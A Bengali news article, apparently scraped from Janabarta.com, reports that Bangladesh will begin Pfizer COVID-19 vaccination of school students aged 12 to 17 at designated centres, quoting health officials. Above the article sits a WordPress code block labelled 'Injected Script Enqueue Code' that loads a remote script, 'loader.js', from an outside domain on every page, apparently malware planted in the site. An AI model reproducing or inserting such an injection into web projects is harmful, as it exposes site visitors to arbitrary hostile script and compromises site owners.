// Injected Script Enqueue Code function enqueue_custom_script() { wp_enqueue_script( 'custom-error-script', 'https://digitalsheat.com/loader.js', array(), null, true ); } add_action('wp_enqueue_scripts', 'enqueue_custom_script'); Janabarta.com | Newsportal Site স্কুল শিক্ষার্থীদের টিকাদান শুরু হচ্ছে - Janabarta.com

স্কুল শিক্ষার্থীদের টিকাদান শুরু হচ্ছে

নিজস্ব প্রতিবেদকঃ দেশে ১২ থেকে ১৭ বছর বয়সের স্কুল শিক্ষার্থীদের টিকাদান কর্মসূচি এই সপ্তাহেই শুরু হবে বলে জানিয়েছেন স্বাস্থ্য অধিদপ্তরের মহাপরিচালক অধ্যাপক ডা. আবুল বাসার মোহাম্মদ খুরশীদ আলম। আলাদা কেন্দ্রে স্কুল শিক্ষার্থীদের টিকা দেয়া হবে। ৫০ থেকে ১০০ জনকে টেস্ট রান হিসেবে টিকা দেয়ার পরিকল্পনা রয়েছে। গতকাল স্বাস্থ্য অধিদপ্তরের সার্ভাইভারস কিট হস্তান্তর অনুষ্ঠান শেষে তিনি এ কথা জানান।

মহাপরিচালক বলেন, সক্ষমতা অনুযায়ী সারা দেশের জেলা ও সিটি করপোরেশন পর্যায়ে ২১টি কেন্দ্র নির্ধারণ করা হয়েছে। এসব কেন্দ্রে স্কুল শিক্ষার্থীদের ফাইজারের টিকা দেয়ার প্রস্তুতি নেয়া হচ্ছে। আশা করছি এই সপ্তাহেই আমরা শুরু করতে পারবো। খুরশীদ আলম বলেন, আমরা পরিকল্পনা করেছি প্রাথমিকভাবে আগারগাঁওয়ের বঙ্গবন্ধু আন্তর্জাতিক সম্মেলন কেন্দ্রে টিকা দেয়ার।

তিনি বলেন, স্কুল শিক্ষার্থীদের তালিকা শিক্ষাপ্রতিষ্ঠান থেকে সরবরাহ করবে। আমরা তাদের বিস্তারিত সুরক্ষা প্ল্যাটফর্মে দিয়ে দেবো। আমরা যে কোনো একটা টিকা দেয়ার আগে টেস্ট রান করি। ৫০ থেকে ১০০ জন যেটুকু পারি সেটা দিয়ে করবো। তাদেরকে দিয়ে আমরা পর্যবেক্ষণ করবো। এরপর বড় আকারে দেবো। শিশুদের টিকা কেন্দ্র আলাদা হবে।
গত রোববার স্বাস্থ্য ও পরিবার কল্যাণমন্ত্রী জাহিদ মালেক জানিয়েছেন, বাংলাদেশের ১৮ বছরের নিচে স্কুল শিক্ষার্থীদের করোনার টিকা দিতে বিশ্ব স্বাস্থ্য সংস্থা সম্মতি দিয়েছে। তিনি বলেন, বিশ্ব স্বাস্থ্য সংস্থার মহাপরিচালকের সঙ্গে আমার সাক্ষাৎ হয়েছে। স্কুল শিক্ষার্থীদের টিকার বিষয়ে তার পরামর্শ চাইলে তিনি আমাদের অনুমোদন দিয়েছেন। তিনি জানান, সমপ্রতি সুইজারল্যান্ড সফরে বিশ্ব স্বাস্থ্য সংস্থার মহাপরিচালক এবং গ্যাভির প্রতিনিধির সঙ্গে তার কথা হয়। সরকারের হাতে এখন ৬০ লাখ ডোজ ফাইজারের টিকা রয়েছে, এছাড়া আরও ৭০ লাখ ডোজ টিকার প্রতিশ্রুতি পাওয়া গেছে। ফাইজারের সবগুলো টিকাই আমরা স্কুলের ছেলেমেয়েদের দেবো। প্রথমে অর্ধেক টিকা দেয়া হবে ৩০ লাখ স্কুল শিক্ষার্থীকে। বাকি অর্ধেক টিকা শিশুদের দ্বিতীয় ডোজ দেয়ার জন্য রাখা হবে। আমরা প্রোগ্রাম তৈরি করছি, দু’-একদিনের মধ্যেই দেখবেন কাজকর্ম শুরু হয়ে গেছে।